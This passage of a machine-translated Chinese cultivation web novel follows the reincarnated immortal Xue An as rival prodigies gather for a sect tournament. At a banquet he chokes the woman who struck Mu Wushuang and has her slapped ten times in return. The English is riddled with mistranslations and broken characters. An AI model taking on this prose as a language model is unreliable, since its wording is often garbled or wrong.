    An Yan couldn''t help but sighed, then smiled: "Yuantong Huitong... Is there still Zhongtong Shentong?"


    Yuantong was startled when he heard the words, "How does the female donor know the names of my brothers and sisters?"


    An Yan: "..."


    Xue An smiled faintly, "Since it is a descendant of Dingchan Temple, do you know the moon temple?"

 Chapter 1913： Tianjiao Qizhi

    Yuantong was shocked, and said in astonishment: "Goodness is good, the donor actually knows Uncle Yuecha?"


    "Not only do you know, but also familiar, otherwise why do you think I have Buddha''s breath?" Xue An said lightly.


    Yuantong nodded.


    The reason why he was willing to accept Xue An''s invitation just now was because he felt that there was a trace of Buddha''s breath in him, but it was extremely pure and vast.


    "How is he now?" Xue An asked.


    Yuantong sighed softly after hearing this, "It''s true that Master Yue Sha has disappeared for a long time. Even Master doesn''t know his whereabouts, and we have been looking for him."


    "Missing?" Xue An was surprised.


    "Yes."


    Xue An looked contemplative.


    This Yuesha was a buddha cultivator he met when he was cultivating. At that time, he was already an invisible great bodhisattva. Later, he moved straight into the ground and became a half-step immortal emperor.


    But never expected that he, who possessed such a tyrannical strength, had disappeared.


    This is really intriguing.


    "Good, good, but who is the name of the adult?" Yuantong asked at this time.


    Xue An did not hide it from him, because he knew very well that he could cultivate into an invisible Buddha, regardless of his strength, his character is absolutely no problem. From this point, Yuantong has just been willing to help a group of unrelated souls. The cause and effect can be seen.


    "My name is Xue An, your master and uncle should have mentioned this name." Xue An said lightly.


    When Yuantong heard these words, his body was shocked, and his eyes appeared astonished.


    Even the greedy young man stopped his chopsticks at this time and raised his head to look at Xue An with bright eyes.


    At the same time, the color of astonishment in Yuantong''s eyes dissipated and replaced by eyes full of joy and admiration.


    "Good, good, it turned out to be Lord Red Lotus Immortal. I have waited more than once to hear Master and Master mention you. I didn��t expect to meet you here, and I would accept your hospitality. It��s really disrespectful."


    His younger brother Huitong looked at Xue An with admiration.


    Xue An waved his hand, "You don''t have to be so polite, I have a good relationship with your uncle, and it is only natural to have a treat. But why are you here?"


    "Naturally come for the Thousand Sect Profound Society!"


    "The Thousand Sects Profound Meeting?" Xue An was startled slightly, and then smiled, "Didn''t your Dingchan Temple always do not ask about the affairs of the world? Why are you participating in this Thousand Sects Profound Association this time?"


    Yuantong heard the words and shook his head with a wry smile, "Good is good, what the benefactor said is extremely true, to be honest, I have always had this doubt, but the master ordered me to wait, so the two of us had to bite the bullet and rush over. Up."


    For Yuantong, who likes to have a quiet sex, he is reluctant to participate in the Qianzong Xuanhui.


    It��s good to have time to meditate quietly on the mountain.


    But helplessly, his master was the Master Yue Ji who presided over the Dingchan Temple, and the one who named them by name asked them to go down the mountain to participate in the Qianzong Xuanhui.


    He had no choice but to come.


    Of course, the younger brother Huitong was very happy to come out and play.


    "It turned out to be the case, since it''s here, let''s take a look at this Thousand Sect Profound Society!" Xue An said with a smile.


    Yuantong looked at Xue An with some doubts, "Master Honglian, why do you want to participate in this Thousand Sect Profound Association?"


    "It''s very simple, because some accounts need to be collected." Xue An said lightly.


    Yuantong''s heart tightened, then folded his palms together, and sighed, "Goodness is good."


    The following words were not said.


    Because he knew exactly what Xue An was talking about.


    At this moment, the sky above Purple Mist City suddenly showed countless strange brilliance.


    These brilliance are like rainbows, shining brightly across the night sky.


    This spectacle naturally attracted the attention of everyone in the city.


    "what is that?"


    "Oh my god, how could this happen suddenly?"


    The exclamation sounded one after another.


    And at this moment, a huge fleet of cars suddenly smashed into the void and appeared in front of everyone.


    Accompanied by that very powerful and powerful power.


    Everyone was stunned, and then they saw the flags beginning to rise above the cars.


    Qinghailou! Sunda wind boat! Thunder fire brake.......


    There are so many sects, without exception, they are all top sects of the Void Great Sect.


    And at the front of the team, on the most majestic car wheel, there was a big flag flying in the wind.


    On the dark gold base fabric, three large characters were embroidered impressively.


    Xuan Ming Ling!


    After seeing these three words, everyone was shocked.


    Someone even whispered with a dull face, "Xuan Ming Ling...It is the Xiao Tianjiao who is the number one on the jade list!"


    In the white jade building.


    Luo Rongjin, who was full of anger because of Gong Yunjun��s defection, was standing in front of the window and staring at the majestic chariot. The flames of jealousy and anger appeared in his eyes, and then he squeezed out from his teeth. In a word.


    "Xiao Tiansha, you are finally here!"


    That''s right!


    It was Xiao Tiansha who defeated the heroes in the last Thousand Sect Profound Association, won the first place, and eventually became the first person on the Jade List.


    now.


    This peerless Tianjiao stood on the bow of the car in full vigor.


    This is a tall young man in a dark golden dragon pattern robe.


    He saw his long hair scattered, and there was only a golden hair band on his forehead, which made him even more expensive.


    Standing with his hands behind him, his handsome and unmatched face was as calm as water, but his eyes were as vast as the sky, overlooking the masses at his feet.


    The fierce wind was blowing his long hair, and a faint smile gradually appeared at the corner of his mouth, and then said in a cold and noble voice like gold and jade: "There are so many acquaintances, it seems that this Qianzong Xuanhui The scale is bigger than last time!"


    "How can there be more people? The leader this time will definitely be yours!"


    As a soft and cold female voice came, beside him appeared a woman in white clothes and a white veil, but still could not hide the noble and cold appearance like a goddessAt this moment , There was a faint smile in her water-cut pupils.


    Xiao Tiansha laughed loudly when he heard the words, and the laughter was full of high-spirited pride and madness.


    "The girl of Nian really wins my heart! That''s right, no matter how many people there are, the leader is still me!"


    The woman smiled faintly, but did not speak.


    And if there are other people present, they will definitely exclaim when they see this woman.


    Because this cold and glamorous woman is a descendant of the Qianhe Palace, Fu Nianzhi, ranked eighth in the jade list, and known as the fairy of Qianhe.


    On this trip, she actually came with Xiao Tiansha, which was enough to shock people.


    At this moment, dozens of Huaguang suddenly swept across the sky, and came to this mighty caravan team. After standing still, the leader was an old man with a childlike face and hesitation.


    "It''s the Seventh Elder of Shangqing Mountain, he actually came out to greet him in person!" There was a commotion among the onlookers.

 Chapter 1914： Descendants of Shenhuagu

    At this time, the Seventh Elder smiled and bowed his hands at Xiao Tiansha and the others, "The Seventh Elders of Shangqing Mountain welcome Young Master Xiao and you Tianjiao!"


    Xiao Tian smiled faintly, then slightly nodded, "The Seventh Elders are so polite."


    Even so, the words and gestures are full of indifferent, as if facing not the elders in the void, but an ordinary person.


    The Seventh Elder didn''t care at all, instead he smiled and said, "Guanyi is already ready, please come with me!"


    With that, he turned around, personally led the way, and led everyone to the guesthouse post.


    The mighty chariot left.


    The crowd was still amazed.


    But no one noticed that in a desolate and remote corner of Purple Mist City, a pair of wonderful eyes were looking at everything that happened in the sky with worry.


    It wasn''t until the chariot had already gone far that she lowered her eyes lightly, and then whispered softly: "My lord, these arrogances are coming so aggressively, you must... be careful!"


    at the same time.


    In that white jade building, the furious Luo Rongjin had broken more than a dozen vases.


    "Asshole, why didn''t this **** Seventh Elder come out to greet me when I first came? As a result, when Xiao Tiansha came here, he came out with a bullshit, he clearly despised me!"


    No one dared to speak. All the people who followed Luo Rongjin stood silently.


    Luo Rongjin''s face was distorted because of anger, and gritted his teeth and said: "The dog looks at the low-level dog things, but it just feels that Xiao Tiansha won the first place in the last Thousand Sect Profound Association. What''s so great? ?"


    "The last Thousand Sects Profound Meeting I was unable to participate because of retreat practice. This time I must step on Xiao Tiansha and everyone under my feet. I want everyone to know that I am the strongest when I fall into Rongjin. of."


    In the end, Luo Rongjin''s eyes were blood red, and he roared almost hysterically.


    And in the post where the Slaughter Temple is located.


    Many people have a solemn face.


    Mu Wushuang''s eyes almost burst into flames, gritted his teeth and said, "My lord, that was Xiao Tiansha just now."


    Xue An said lightly: "I know, the strength is good, and I should have proved Dao Immortal King."


    what?


    When Xue An said this, everyone in the room was shocked.


    Especially Mu Wushuang, who was shocked all over, said in shock: "You said he is already the fairy king?"


    Xue An nodded, "That''s right, because the power of the law in his body is overflowing and he is uncontrollable. It can be seen that he is the immortal king who has just proclaimed the Tao, and he can''t fully control his strength. "


    Mu Wushuang''s complexion suddenly became extremely ugly, and he almost desperately said: "The Immortal King...he is already the Immortal King. Doesn''t it mean that it is impossible to punish him and avenge him?"


    When she said this, her tone was extremely low.


    Because all the heavens know that once you become an immortal king, it is basically equivalent to having a death-free gold medal.


    Unless the strength surpasses a level, or the strong at the same level is willing to pay a painful price, it is absolutely impossible to completely kill it.


    Xue An laughed when he heard the words, "Who said you can''t get revenge?"


    Mu Wushuang was shocked and looked at Xue An in astonishment, "My lord, you mean..."


    "I didn''t come this time to watch the excitement. Since I came, I always have to charge some interest first, and these so-called arrogances are the first!"


    As soon as he said this, Mu Wushuang couldn''t help taking a breath.


    Because of Xue An''s words, the tone was too loud.


    He clearly wanted to kill Xiao Tiansha and other Tianjiao all at once, but is this really possible?


    Even if Xue An used to be the Immortal Venerable, but now he is reincarnated and reborn, and has just recovered the strength of the Immortal King, can he really deal with so many powerful men?


    In fact, if this was something other people said, Mu Wushuang would definitely sneer.


    But speaking from Xue An, it seemed so natural.


    at the same time.


    Xue An suddenly turned around and walked to the side of the greedy teenager.


    At this time, the greedy teenager did not sit at the table and feasted as usual, but stood blankly in front of the window, looking at the night sky outside, his eyes full of pain.


    Xue An said lightly: "Have you finished watching? Everyone has already left."


    The young man lowered his head and said nothing.


    Xue An patted his shoulder lightly, and said lightly: "Well, no matter what hatred you have, you can bravely retaliate when you reach the Thousand Sect Profound Society, instead of hiding here and complaining about yourself, understand?"


    The boy shook all over, then raised his head to look at Xue An.


    Xue An looked at him with a smile.


    The boy''s eyes gradually became firmer, and finally nodded, "My name is Cen Yuanhe, thank you."


    "Cen Yuanhe? Are you the inexhaustible genius of Shenhuagu?" Mu Wushuang asked in surprise.


    Cen Yuanhe nodded, then laughed at himself, "I can''t be called a genius, but I''m just an idiot who is played around by a woman."


    Mu Wushuang hesitated to speak, and finally sighed, then stopped talking.


    Everyone understands that there must be a story, but since the person involved is unwilling to tell it, it is naturally difficult for others to ask deeply.


    However, Zhang Xiaoyu said with a dazed expression: "What do you mean? This boy with a rice bucket is actually very powerful?"


    Xiaosha rolled her eyes and didn''t bother to talk to her.


    On the contrary, the monk Huitong on the side liked the little octopus very much. He smiled and said, ��Of course it��s amazing. The God Painting Valley was the Great Master of the Stars. Although it has fallen a lot now, it is also the top sect in the void. !"


    "Although I have lived in Dingchan Temple for a long time, I have also heard of this little brother''s name. He was taught by the last painting sage Wu Qidao. He proclaimed Daluo at the age of 30. This is the historical evidence of God Painting Valley. Daluo, the youngest person, is a master of painting with one hand, and he is regarded as an unparalleled arrogant with boundless future."


    "But then for some reason, he suddenly disappeared, and all kinds of deeds are even rarer. He didn''t even participate in the last Thousand Sect Profound Association. Some people said that he had made mistakes in his cultivation, and his people had been abandoned. But now It seems there must be hidden secrets in it!"


    Monk Huitong sighed lightly, his face full of vicissitudes of maturity.


    This little trick to attract the attention of girls is extremely clumsy.


    But Zhang Xiaoyu didn''t notice it at all. Instead, he looked at this Huitong in amazement and couldn''t help but say.


    "How do you know so much?"


    "Haha!" Huitong smiled reservedly and said indifferently: "Sorry, I was also a peerless genius in Dingchan Temple back then. Even the master once praised me personally. This kind of trivial matter naturally can''t help me!"


    Zhang Xiaoyu showed starry eyes and said admiringly: "Wow, you are so amazing!"


    "Cough cough, I won the prize, it''s actually just average!" Huitong said with a calm expression, but his heart was full of pride.


    But Zhang Xiaoyu''s next sentence directly knocked him back to his original form.


    Just listen to Zhang Xiaoyu said: "It''s a pity that I became a monk at a young age. I guess I won''t be able to marry a wife in this life!"

 Chapter 1915： Clarify in person

    Huitong almost didn''t spray a mouthful of blood, "You..."


    "What? Am I wrong?" Zhang Xiaoyu said plausibly.


    Huitong lowered his head with a gloomy expression, "Nan Wuwu Buddha, good and good, no wonder my brother kept admonishing me to stay away from women. It seems that I was not lying to me!"


    "Hey, what are you muttering?" Zhang Xiaoyu asked.


    "Ah, nothing, I suddenly remembered that there is still a very important thing to do, female donor, goodbye!"


    After all, Huitong fled.


    At the same time, a grand banquet was being held in a guesthouse station.


    The layout of this post is obviously much more luxurious than that of other sects. It can also be seen that Shangqingshan places great importance on Xiao Tiansha and others.


    Not to mention anything else, even the specifications of this banquet were unusually high. In addition to the seven elders who appeared before, three elders also arrived.


    Not only that, but all the major sects rushed after hearing about the banquet.


    Therefore, this reception feast can be described as an unprecedented grand occasion.


    But there were not many people who could really see Xiao Tiansha.


    Because this reception banquet is divided into inside and outside courts, only the truly top Zongmen Tianjiao is eligible to enter the infield.


    now.


    Faced with the compliments of the strong Tianjiao in this room, with a beautiful woman beside him, Xiao Tiansha was full of spirits.


    "Thank you all for coming, I will do it first for this cup!"


    After all, Xiao Tiansha drank all the wine in his glass as soon as he raised his neck.


    The audience was filled with admiration.


    "Young Master is so polite!"


    "Yes, this wine is so bold!"


    While talking, everyone responded with drinking.


    The atmosphere then became more and more enthusiastic.


    Everyone began to toast to Xiao Tiansha in turn, Xiao Tiansha can be said to be willing to come.


    Soon, after a round of drinking, Xiao Tiansha''s face was flushed, and his eyes became drunk.


    But the more so, the more interested he became, and even his laughter became more energetic.


    This kind of self-confidence and coercion exuding from the inside out, coupled with Xiao Tiansha''s good looks, made the eyes of many women present a lot of brilliance.


    Xiao Tiansha was naturally more proud of this.


    But at this moment, Fu Nianzhi, who had been sitting quietly by the side, suddenly chuckled, and then leaned into Xiao Tiansha''s ear, and said with a sigh of relief, "Young Master, how did I find that there was one missing person at this banquet?"


    "Oh? Who is missing?"


    "Haha, did the Young Master forget that at the last Thousand Sect Profound Association, the Saint Slaughter Temple who was fascinated by you, Mu Wushuang?"


    Fu Nianzhi smiled and said, but there was a hint of jealousy in the words.


    Xiao Tiansha was taken aback when he heard the words, and even laughed.


    In the laughter, he glanced at Fu Nian faintly, "What? Are you jealous?"


    Fu Nianzhi smiled and said nothing.


    Xiao Tiansha simply grabbed her hand.


    Fu Nianzhi trembled slightly, but did not break free, but let Xiao Tiansha hold it like this.


    Xiao Tiansha was overjoyed.


    You must know that since they played the sect, the two of them have been walking along the way, but no matter how hard Xiao Tiansha struggled along the way, Fu Nianzhi was very close to himself.


    It was neither cold nor hot, and the proportions and heat were just right, which made Xiao Tiansha want to get angry and couldn''t survive, so he could only grit his teeth secretly.


    But she didn''t expect that this time she would actually let herself hold her hand. This is a huge improvement.


    Thinking of this, Xiao Tiansha laughed, "Nianzhi, you don''t have to be jealous. Namu Wushuang is just a vulgar fan. She entangled me hard at the last Thousand Sects Profound Society, and I didn''t bother to take care of it. she was."


    "Oh? Really? But what I heard is different from what you said, Master Young Master!"


    "What did you hear?"


    "I heard people say..." Fu Nianzhi leaned forward and said softly, "Master Young Master got Namu Wushuang drunk with a trick, and then succeeded, right?"


    Xiao Tiansha''s expression suddenly became a little ugly, "This..."


    Fu Nianzhi chuckled, "No need to explain, whether it is or not, that has nothing to do with me, but I don''t want anyone to spread these words outside."


    Xiao Tiansha nodded and said with a fierce look: "Of course, if anyone dares to talk nonsense, I will tear him apart!"


    "Hehe, Master Young Master thought too simple, the more you are like this, the more vigorous others will say."


    "What shall we do then?"


    "It''s very simple. In this session of the Thousand Sects Profound Society, isn''t the Saint Slaughter Temple coming again? You call her over and cut off all ties with her in front of everyone, so that no one can say anything ."


    Fu Nianzhi smiled like a flower, but under this beautiful smile, there was an extreme viciousness hidden.


    Xiao Tiansha''s eyes lit up when he heard the words, "Good idea! This Mu Wushuang came to participate in the Profound Society this time, probably because he wanted to get me attached, or else they would rely on them to slaughter the Temple in this Thousand Sect Profound Society. It''s just cannon fodder."


    "So you have to tell her face to face! What do you think?" Fu Nianzhi swept the temple near his ear and said with a smile.


    Xiao Tiansha nodded, "Okay, then I will let her come over now!"


    "Now? Will she come if you let her come over?" Fu Nianzhi asked with some confusion.


    Xiao Tiansha smiled triumphantly, "Of course, because I have her handle, she can''t help but not come."


    After that, Xiao Tiansha waved his hand casually, and a divine thought fell into the night sky.


    In an instant, this divine mind surpassed the barriers and flew directly into Mu Wushuang''s sea of ??consciousness.


    Mu Wushuang, who was sitting cross-legged meditating, recharged for the future Qianzong Xuanhui, was full of shocks, then opened his eyes, his eyes were full of infinite anger, and his face became extremely ugly.


    But as Xiao Tiansha said, she really had to go.


    In desperation, she stood up, tried her best to calm down, then took a deep breath and walked out of the room.


    At this moment, Xue An is still drinking tea in the living room.


    When she saw her Xue An smiled slightly, "Miss Mu hasn''t rested yet?"


    Mu Wushuang gave a strong smile, "I just meditated for a while, and I feel a little bored, ready to go outside!"


    Xue An didn''t seem to notice anything unusual, lowered his head and sipped a sip of tea, and said lightly: "Oh, then you have to be more careful. After all, the night is dark, and all monsters will appear!"


    Mu Wushuang didn''t have the heart to think about the meaning of this sentence, she just nodded, "Well, I understand."


    After that, he lowered his head and hurried away.


    When she walked out of the room, Xue An suddenly raised her eyes and looked at her back hidden in the darkness. The corners of her mouth raised, and she smiled silently, then raised her head and drank the tea in the cup.


    Although the Guan Post where Xiao Tiansha and others lived was the core area, some distance away from the Guan Post of the Slaughter Temple, it was still a short time from Mu Wushuang''s footsteps.


    While standing in front of the door, Mu Wushuang looked at this brightly lit and lively post, settled for a moment, and then walked in.

 Chapter 1916： Robber logic

    When she walked in, the noisy outfield instantly became much quieter.


    Although he didn''t make it into the infield, those who can appear here are all strong players who can be called.


    So many people recognize Mu Wushuang at a glance.


    Facing so many surprised eyes, Mu Wushuang was expressionless, but strode towards the infield.


    As soon as she left, the outfield exploded.


    "Fuck, I''m not mistaken, this Slaughter Temple saint dare to come here? What is she trying to do?"


    "Haha, don''t you understand this? It is estimated that I heard that Young Master Xiao is here, so I wanted to come over and retell the old feelings!" Someone sneered.


    "No, doesn''t it mean that Mu Wushuang hates Young Master Xiao so deeply?"


    "Cut, it''s all pretending. This Mu Wushuang is not stupid at all. Regardless of her performance, she actually understands better than anyone else. If the Qianzongxuan Society was not helped by others, she would definitely be ranked first. One is eliminated."


    "So she came to seek help from the young master?"


    "Yes! It must be so."


    There was a lot of discussion in the field for a while, but without exception, they were all malicious speculations about Mu Wushuang.


    at the same time.


    Mu Wushuangye has entered the infield.


    After seeing her pale, many Tianjiao couldn''t help putting down their wine glasses.


    Xiao Tiansha saw her at a glance.


    After seeing Mu Wushuang, who was better than before, Xiao Tiansha couldn''t help showing a look of greed in the depths of his eyes, but he soon hid it deeply.


    Because this Qianhe fairy Fu Nianzhi is just aside.


    Compared to Mu Wushuang, this Fu Nianzhi is too strong in both his birth and cultivation, so the elders of Xuan Ming Ling will unanimously agree to let him and Fu Nianzhi become a priest as soon as possible.


    At this time, Fu Nianzhi''s face was even more smiling, but even though she was smiling, there was a faint chill in her pair of Qiushui eyes.


    At this moment, Mu Wushuang had already walked to the table of both of them.


    When she got close, she saw the hand held by Xiao Tiansha and Fu Nianzhi at a glance, her pupils contracted slightly, and then she gave a cold snort.


    "What are you calling me over for?"


    Xiao Tiansha chuckled, "Miss Mu, after a hundred years, I didn''t expect your style to be better than before!"


    Upon hearing this, Mu Wushuang''s eyes burst into bitter hatred, and gritted his teeth: "Xiao Tiansha, I don''t want to hear you talk nonsense. I just want to know, what do you want to do?"


    "It''s very simple. Recently, there have been rumors about those things that year. I think it is necessary to make a clarification. After all, I have established a relationship with Nianzhi Girl. These words have been spread a lot, and it is also a kind of Nianzhi Girl. hurt."


    "Clarification? Clarify what?" Mu Wushuang was taken aback.


    Xiao Tiansha hehe smiled, "Naturally clarify that there is no relationship between you and me. Even the dew love relationship back then is your wish and I can''t blame anyone. What do you think?"


    boom!


    As soon as this sentence came out, there was a commotion in the audience.


    People are all dumbfounded.


    Those who can appear here are not fools. Everyone knows what is going on here.


    But no one would have thought that Xiao Tiansha would say it so straightforwardly, and even so brazenly denying it.


    Mu Wushuang was even more stunned.


    She thought about many possibilities, but she didn''t expect such a situation.


    The person who set up a trap to deceive his Yuanyin, now triumphantly said that it was just a marriage of "you love me".


    I also need to clarify in public to prevent harm to my new girlfriend.


    It''s as if a robber took your money, and after a few years he came back and said that his business failed because of your money, and then he asked you to pay compensation.


    The logic of the robbers here is as simple as an unimaginable situation.


    Then Mu Wushuang began to tremble.


    Not because of excitement, but because of extreme anger.


    This anger even made her not even know what to say, she could only look at Xiao Tiansha with a flushed face.


    At this moment, Fu Nianzhi, who was sitting by the side, stood up suddenly, walked up to Mu Wushuang, circled her twice, and then laughed.


    "You look pretty good, no wonder Young Master liked you back then, but Mu Wushuang..."


    Fu Nianzhi said softly, a cruel and excited light appeared in his eyes.


    "If you think what you can do if you have **** with the young master, then you are wrong. This time the Thousand Sect Profound Association, the young master will never help you, so if you are smart, take advantage of it now Leave obediently, otherwise..."


    Fu Nianzhi sneered, "I can''t guarantee what will happen to the Qianzong Profound Society."


    Hearing Fu Nianzhi''s words, Mu Wushuang, who was originally extremely angry, suddenly calmed down, and his flushed cheeks calmed down as before, and then said coldly.


    "Are you threatening me?"


    Fu Nianzhi shook his head, smiling like a flower: "You are wrong, this is not a threat, I''m just talking about a very common little thing."


    "After all, in my eyes, you are just a pretty ant!"


    The audience was quiet enough to hear breathing.


    Mu Wushuang stared at Fu Nianzhi, and suddenly sneered, "You said that I am a pretty ant, then what are you? Consciously noble, but actually an unbearable plaything?"


    As soon as these words came out, Fu Nianzhi''s expression changed, and he slapped his hand when he raised his hand.


    Snapped!


    Fu Nianzhi''s strength was far better than Mu Wushuang, so this slap directly slapped Mu Wushuang back several steps, and then half of his cheeks swelled, bleeding down the corners of his mouth.


    "What are you? You dare to talk to me like that?" Fu Nianzhi''s charming face was full of viciousness.


    Mu Wushuang suddenly laughed, and the laughter grew louder and louder. In the end, the sad laughter even enveloped the entire stationWhat do you think I am? Then I will tell you, I am the saint of the Slaughter Temple, and you are not saying that I am here to participate in the Thousand Sect Profound Society because I want to rely on Xiao Tiansha''s strength to win the rankings? I will tell you now, you are wrong! "


    Mu Wushuang''s eyes shot out incomparably bright brilliance, "I am here not only for revenge, but also for the first place in the sect!"


    As soon as this remark came out, the audience was startled at first, and then a lot of people screamed out for joy.


    Fu Nianzhi even sneered again and again, "It seems that my slap slapped your head, and I was talking nonsense, and I was vying for the first place in the sect. What a big tone! With these words, you It''s time to fight!"


    With that, Fu Nianzhi stepped forward again, with a sullen face, he wanted to do it again.


    But at this moment, a calm voice came from outside the door.


    "Miss Mu, you just talked about it, why did you turn here?"


    With the words, everyone felt a flower in front of them, and then a young man in white appeared in front of them.

 Chapter 1917： I ask again, who beat her!

    There was a commotion in the audience.


    Mu Wushuang looked at Xue An blankly, his eyes full of consternation.


    She had never expected that Xue An would actually appear here.


    As for Fu Nianzhi, her expression even sank, but after taking a closer look at Xue An, she couldn''t help but sneer.


    "who are you?"


    Xue An ignored her at all, but looked at Mu Wushuang quietly.


    At this time, Mu Wushuang, although the injury on his face was recovering, there were still traces of swelling and blood on the corners of his mouth still existed.


    "What? Didn''t you hear me talking to you?" Fu Nianzhi raised his voice.


    At this moment, Xue An suddenly said indifferently: "Who did it?"


    Ok?


    As soon as this remark came out, the audience was silent.


    Fu Nianzhi couldn''t help being stunned.


    Xue An raised his head and said in a calm tone: "I''ll ask again, who beat her!"


    This was a commotion in the audience.


    Many people whispered and began to whisper.


    "Who is this person? Why have you never seen it?"


    "Yeah, so good!"


    "I heard that it was foreign aid invited by the Slaughter Temple."


    "Hehe, a small foreign aid dared to speak like this on such an occasion. I really don''t know how great the world is."


    "Yes, wait for a good show, Fairy Qianhe and Young Master Xiao will not let him go."


    Many people looked at Xue An with the same gazes as they looked at the dead.


    Fu Nianzhi also regained consciousness at this time, even if he was furious.


    Because she was shocked to discover that she had just been taken aback by the aura of the "unremarkable" white-clothed boy in front of her.


    Especially when he questioned himself, that kind of coercion made her feel a trace of fear.


    It was this fear that made her feel infinite humiliation.


    It''s a shame to be shocked by a kid who didn''t know where to jump out.


    So she was very angry and smiled: "Boy, I was the one who beat me, what are you doing?"


    "Did you fight?" Xue An raised his eyebrows slightly.


    Fu Nianzhi raised his head very arrogantly, "Yes, it was I who beat her, and I not only beat her once, but in the future I see her beat her once, why? Do you have an opinion?"


    When he said this, Fu Nianzhi''s beautiful face was full of bitterness and arrogance.


    Xue An lowered his head and chuckles when he heard the words, "I don''t have any opinions, but..."


    "Just what?" Fu Nianzhi sneered.


    "It''s just... I don''t usually do anything with women, but you are an exception."


    Following the voice, Xue An suddenly stretched out his hand and grabbed Fu Nianzhi''s neck.


    Before Fu Nianzhi had time to react, he was pinched firm by Xue An.


    The audience shook instantly.


    Xiao Tiansha suddenly stood up and said angrily: "Boy, what do you want to do? Let go of it."


    He said he rushed forward.


    Xue An was unmoved, his arm motionless like a mountain, then pinched Fu Nianzhi, and slowly lifted her into the air.


    Fu Nianzhi''s face gradually flushed, turning from red to purple, trembling all over, and finally there was a look of horror in his eyes.


    At the same time, Xue An slowly raised the corners of his mouth, raising his eyes towards Xiao Tian who was about to rush to the front.


    "Believe it or not, if you take a step forward, her head will say goodbye to her."


    Xiao Tiansha immediately stopped where he was, looking at Xue An with cold eyes, "My friend, I hope you better understand your situation now, and don''t make radical moves with your head, so to whom It''s not good, what do you think?"


    Xue An''s smile did not change, "That''s good, so don''t get excited!"


    "You..." Xiao Tiansha''s face changed.


    But Xue An ignored him at all. Instead, she turned her head and rushed to Mu Wushuang and said, "Miss Mu, I am always the most reasonable person. Since she just slapped her, then you should slap her ten times. It should be enough, what do you think?"


    This statement came out.


    Not only was everyone dumbfounded, even Mu Wushuang was a little stunned.


    "what did you say?"


    Xue An showed her white teeth and smiled Senran: "I told you to slap her! Understand?"


    Looking at the smile on Xue An''s face, Mu Wushuang suddenly showed infinite courage, and then nodded, "I understand."


    After that, he strode forward.


    At this time, Fu Nianzhi''s face was black because of his limited cultivation level and obstructed qi and blood.


    But her consciousness was still sober, and she had heard what she said just now, so when she saw Mu Wushuang walking towards her, she couldn''t help showing fear in her eyes, and she was struggling constantly.


    Xiao Tiansha was even more furious, "Mu Wushuang, I think you dare to..."


    Mu Wushuang glanced at him with a face like ice, "Of course I dare!"


    After all, she raised her hand and slapped Fu Nianzhi''s face.


    Snapped!


    This slap fan is extremely cruel.


    Half of Fu Nianzhi''s face instantly swelled, and the corners of his mouth and nostrils began to bleed out.


    Xue An chuckled, "This is the first time, and there are nine more!"


    Mu Wushuang didn''t answer, but clenched his teeth, waved his hands and fanned.


    Fu Nianzhi let out a miserable and bitter scream.


    All the Tianjiao powerhouses in the audience were even more silent.


    Xiao Tiansha was almost mad.


    After all, Fu Nianzhi is the woman he has been pursuing, and now the outside world has regarded it as his own woman.


    But now, her own woman was slapped in the face in front of everyone.


    How could this make him stand.


    But he dared not move.


    Because he could clearly feel the killing intent from Xue An.


    He had no doubt that if he really dared to make a difference, the young man in white would chop Fu Nianzhi''s neck without hesitation.


    He could only watch this scene with a bitter expression on his face and roar in his heart.


    I must kill this guy, definitely!


    at this time.


    After all ten slaps were slapped, Mu Wushuang stopped and took a step back.


    Look at Fu Nianzhi at this time no longer looks as beautiful as before, and his cheeks are swollen like a pig''s head, and he bleeds down the corners of his mouth and nose. That look is simply more hideous. More ferocious.


    The whole audience could hear even a needle falling into the ground.


    Many people didn''t even dare to breathe for a while, looking at all this with anxiety.


    Because even the dull people can feel the anger that is about to burst out of Xiao Tiansha.


    People believe that once this anger bursts out, the consequences will be devastating.


    At the same time, several elders in Shangqingshan glanced at each other secretly, and then someone quietly retreated.


    Immediately afterwards, many masters of Shangqingshan appeared around the Guanyi, surrounding the place.


    An undercurrent began to surge.


    But Xue An seemed to be unaware of everything, and instead looked indifferent.


    At this time, Xiao Tianshaqiang suppressed the anger in his heart and said coldly: "Now you can put people down!"

 Chapter 1918： Teach you women how to respect

    At the same time, he was also ready, as long as the white-clothed boy in front of him let go of Fu Nianzhi. Then he would immediately send a thunder blow, let this guy know what he will end up offending. Xue An smiled slightly, and didn''t pay attention to Xiao Tiansha at all. Instead, he turned his head and looked at Mu Wushuang, "Miss Mu, do you feel out of breath?" Mu Wushuang gave Fu Nianzhi and Xiao Tiansha a deep look, and then he went. Nodded. "It''s better to feel vented." As he said, Xue An turned around and faced Fu Nianzhi''s spiteful gaze that was almost condensed into substance. As the descendant of Qianhe Palace, she has never suffered such a loss. Not only was he humiliated in public, but he also slapped him ten times. How could she swallow the bad breath in her chest with such a shame. So at this moment, Fu Nianzhi wanted to take Xue An alive. Even if her cheeks were swollen like a pig''s head, and her eyes were squeezed into a gap, one could still clearly see the resentment in her eyes. Xue An didn''t even lift his eyelids, but said indifferently: "I know you really want to kill me, but you have to understand that this is just a small lesson. If there is another time..." Xue An Senran smiled, "I will make you regret coming to this world, understand?" Somehow, when seeing the smile on Xue An''s face, Fu Nianzhi trembled all over, and the original anger and killing intent dissipated like ice and snow. Instead, there was a deep tremor, and a look of fear appeared in his eyes. Xue An nodded in satisfaction, then raised his eyes to look at Xiao Tiansha who was about to be mad, and said lightly: "This woman is yours?" Xiao Tiansha''s face was pale and nodded. "I taught her a little bit for you, let her learn how to respect someone, don''t have to thank me, this is what I should do." Xue An said with a smile. The brilliance in Xiao Tiansha''s eyes was prosperous, his face was no longer ashen, but a faint green light was emitted. That kind of horrible aura of choosing people to eat has caused many people to retreat again and again. "Can you let her go now?" Xiao Tiansha gritted his teeth and shouted in a low voice. He was afraid that he could not control it and rushed forward desperately, so he could only restrain himself in this way. Xue An laughed, "Of course." Xiao Tiansha''s eyes lit up. Because at this moment, several elders from Shangqingshan had quietly appeared among the crowd behind Xue An, and winked at him. The meaning is very obvious. The entire post has been laid out, and this young man in white clothes can hardly escape now with his wings. But just with his distraction, Xue An suddenly pointed at Mu Wushuang, and a sword light flew into Mu Wushuang''s body. Immediately afterwards, Xue An threw Fu Nianzhi out of his hand like throwing garbage, and then turned into a sword light with Mu Wushuang and rose into the sky. In an instant, a big hole was blasted out of the roof of Guanyi. The several elders of Shangqingshan who were deploying defenses in the sky were too late to react, and the two sword lights had passed through the lines of defense and then disappeared. The audience was in an uproar. Xiao Tiansha rushed up first and hugged Fu Nianzhi. At this time, Fu Nianzhi, because of the sealed qi and blood suddenly unraveled, he was dizzy and could not even stand steady. But even so, she still hissed and screamed: "Quickly chase, I will smash these two guys into pieces!" 